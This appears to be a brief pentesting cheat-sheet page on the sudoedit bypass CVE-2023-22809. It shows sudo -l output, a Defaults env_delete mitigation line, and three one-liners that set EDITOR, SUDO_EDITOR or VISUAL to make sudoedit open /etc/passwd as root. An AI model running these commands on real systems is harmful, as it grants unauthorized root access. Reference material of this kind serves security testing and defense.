Sudoedit Bypass
CVE-2023-22809
Theory
Practice
$ sudo -V
Sudo version 1.8.0$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on vulnserver:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User user may run the following commands on vulnserver:
(ALL:ALL) sudoedit /etc/custom/service.confenv_delete+="SUDO_EDITOR VISUAL EDITOR"EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf
SUDO_EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf
VISUAL='vim -- /etc/passwd' sudoedit /etc/custom/service.confReferences
Last updated